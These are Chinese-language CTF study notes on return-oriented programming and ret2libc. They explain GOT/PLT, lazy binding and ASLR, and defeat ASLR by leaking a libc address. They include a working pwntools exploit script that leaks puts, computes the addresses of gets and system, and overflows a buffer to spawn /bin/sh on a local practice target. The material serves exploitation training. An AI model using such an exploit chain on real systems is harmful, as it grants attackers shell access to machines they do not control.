Pwn_7 ROP (2)
- 如果不是静态编译,通常不会有int 0x80。意思就是,没有int 0x80 构造的堆栈再好,也无法运行
- 动态编译会载入整个shared library
- stack overflow时可以直接构造function调用函数
有了函数地址,就可以直接拿来调用
Address = base + offset
在ASLR(Address Space Layout Randomization)中,每一次的基地址都会改变。每一个程序必然都会用到libc库中的函数 比如说main 函数,就要用到libc中的start_main()函数
有了这个函数地址,libc中的偏移地址是固定的,一个函数的实际地址也可以知道,
base addr = address –offset
Lazy Binding 延迟绑定
ELF采用了延迟绑定:函数第一次被调用的时候才绑定,如果没有用到则不进行绑定
PLT
GOT表(Global offset table)
全局偏移表
ELF将GOT表拆成两个表:.got 和 .got.plt
- .got保存全局变量的地址
- .got.plt保存函数引用地址
如果一个程序中使用到了某一个函数,那么一定会对应的有plt地址和.got.plt地址
0x804a010这个地址对应的值 就是实际地址,只要把这个地址的值打印出来就可以得到了实际地址
Call Library Function
gets() #函数地址
pop1_ret #执行完gets()函数的返回地址,比如pop eax pop ebx..把参数弹出栈
<buf> #参数
system()
xxx
<buf>
再比如说 read函数
read函数地址
pop3_ret
第一个变量
第二个变量
第三个变量
system()
xxx
<buf>
Practice 6 ret2lib
.got.plt=0x804a024
写了一段脚本
exp_3.py
from pwn import *
r = remote('127.0.0.1',4000)
puts_got_plt = 0x804a01c
r.recvuntil(':')
r.sendline(str(puts_got_plt))
r.interactive()
找puts函数在libc库中的offset
ldd ./ret2lib #查看调用了那些库 以及路径
root@danny-virtual-machine:/home/danny/Desktop/pwn# ldd ./ret2lib
linux-gate.so.1 => (0xf7f7c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xf7da7000)
/lib/ld-linux.so.2 (0xf7f7e000)root@danny-virtual-machine:/home/danny/Desktop/pwn# readelf -a /lib/i386-linux-gnu/libc.so.6 | grep puts@
205: 0005fca0 464 FUNC GLOBAL DEFAULT 13 _IO_puts@@GLIBC_2.0
这个就偏移地址 434: 0005fca0 464 FUNC WEAK DEFAULT 13 puts@@GLIBC_2.0
1182: 0005e720 349 FUNC WEAK DEFAULT 13 fputs@@GLIBC_2.0
1736: 0005e720 349 FUNC GLOBAL DEFAULT 13 _IO_fputs@@GLIBC_2.0
如何判断找到的实际地址是正确的?
实际地址与偏移地址的后3位是相同的,即后1.5个bit,如果找不到这个地址,就可以考虑爆破了
最终的exp_3.py
from pwn import *
r = remote('127.0.0.1',4000)puts_got_plt = 0x804a01c
put_off = 0x0005fca0
r.recvuntil(':')
r.sendline(str(puts_got_plt))
r.recvuntil(':')
libc_base = int(r.recvuntil('\n').strip(),16) - put_off
print (hex(libc_base))
#raw_input('#')
gets_off = 0x05f3e0
system_off = 0x003ada0
gets = libc_base + gets_off
system = libc_base + system_off
buf = 0x0804b000 - 30rop = [
gets,
system,
buf,
buf
]
r.recvuntil(':')
r.sendline('a'*60 + flat(rop))sleep(2)
r.sendline('/bin/sh\x00')
r.interactive()
总结:
- 找到某一个函数的.got.plt地址所对应的实际地址的值
- 查找该函数的offset 由实际地址-偏移地址获得libc_base地址
- 构造rop
gets() #函数地址 libc_base + offset # ldd ./file 获得库路径 #readelf -a 库路径 | grep func@
system() #函数地址 libc_base + offset
buf #寻找可写区域 ./file &得到proc id 然后 cat /proc/func id/maps
buf